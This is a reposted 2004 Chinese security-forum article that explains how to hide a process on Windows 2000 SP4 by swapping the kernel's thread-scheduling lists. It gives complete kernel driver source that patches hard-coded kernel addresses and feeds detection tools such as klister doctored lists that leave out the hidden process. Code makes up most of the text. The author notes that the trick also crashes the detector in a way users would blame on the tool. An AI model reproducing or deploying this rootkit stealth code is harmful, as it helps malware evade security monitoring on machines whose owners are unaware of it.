首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>系统安全>文章内容
绕过内核调度链表进程检测
来源:xfocus.net 作者:SoBeIt 发布时间:2004-04-22  

绕过内核调度链表进程检测 SoBeIt

一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用 3条调度链表KiWaitInListHead=0x80482258 、KiWaitOutListhead=0x80482808 、KiDispatcherReadyListHead=0x804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。

首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到 Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用 KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到 KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0x8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用 KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、 KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、 KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个 0x804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行 klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:


#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"


typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;

VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;

pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;

pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 * sizeof(LIST_ENTRY));

InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);

for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}

KeInitializeSpinLock(&DpcSpinLock);

__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;

pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;

for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
}

pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;

pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;

pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;

for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
}

for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
}

for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink != &pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;

pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;

pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}

for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}

ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);

for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);

for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}

for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
}

for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead, &pFakeETHREAD->WaitListEntry);
}

for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry != &pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char *)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char *)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}

DbgPrint("pKiWaitInListHead->Flink:%8x", pKiWaitInListHead->Flink);
DbgPrint("pKiWaitInListHead->Blink:%8x", pKiWaitInListHead->Blink);
DbgPrint("pKiWaitOutListHead->Flink:%8x", pKiWaitOutListHead->Flink);
DbgPrint("pKiWaitOutListHead->Blink:%8x", pKiWaitOutListHead->Blink);
DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x", pKiDispatcherReadyListHead[0].Flink);
DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x", pKiDispatcherReadyListHead[0].Blink);

Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);

if(Status == STATUS_SUCCESS)
break;
}

OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;

pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;

pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;

for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
}

pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;

pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;

pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;

for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
}

for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
}

for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink != &pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;

pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;

pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}

for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}

ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);

ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);

DbgPrint("Now terminate system thread.\n");

PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in ReplaceList().\n");
}

return;
}


NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;

WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;

__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);

DbgPrint("SchList:Worker thread killed.\n");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in Unload().\n");
}


if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);

DbgPrint(("SchList.sys:Driver Unload successfully.\n"));

return STATUS_SUCCESS;
}

DbgPrint(("SchList.sys:Detect device failed.\n"));

return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L"\\Device\\SchList";
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0x804822e0;
int pKiWaitInListHeadAddr = 0x80482258;
int pKiWaitOutListHeadAddr = 0x80482808;

DbgPrint(("SchList:Enter DriverEntry.\n"));

RtlInitUnicodeString(&uniDevName,DevNameBuf);

status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);

if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create device failed.\n"));

return status;
}

DbgPrint(("SchList.sys:Create device successfully.\n"));

pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;

KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);

status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);

if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create symbolic link failed.\n"));

return status;
}

pDriObj->DriverUnload = DriverUnload;

PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);

return STATUS_SUCCESS;
}


水平有限,欢迎大家指出错漏之处。QQ:27324838 Email:kinvis@hotmail.com kinsephi@hotmail.com



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Windows 系统调用功能列表
·windows入侵提权-创建隐藏帐号(
· CC_STACKPROTECTOR防止内核stac
·Linux内核安全研究之Stack Overf
· Exploit The Linux Kernel NULL
·Kernel Locking 中文版
·IA32上Linux内核中断机制分析
·Award BIOS Rootkit,universal
·PHP代码审计
·N种内核注入DLL的思路及实现
·glibc 2.3.5 的一些新安全特性
·Struts2/XWork < 2.2.0 Remote C
  相关文章
·Win32 多线程的性能
·数据恢复的基础知识:从电脑硬盘
·总结windows下堆溢出的三种利用
·剖析Windows系统服务调用机制
·制作RAMDISK in KERNEL的OpenBSD
·缓冲区溢出漏洞发掘之整数范围限
·Linux 2.6 对新型 CPU 快速系统
·获得进程的EPROCESS
·AIX PowerPC体系结构及其溢出技
·用Ollydbg手脱UPX加壳的DLL
·杀毒软件的简单实现
·phrack #62 has been released
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved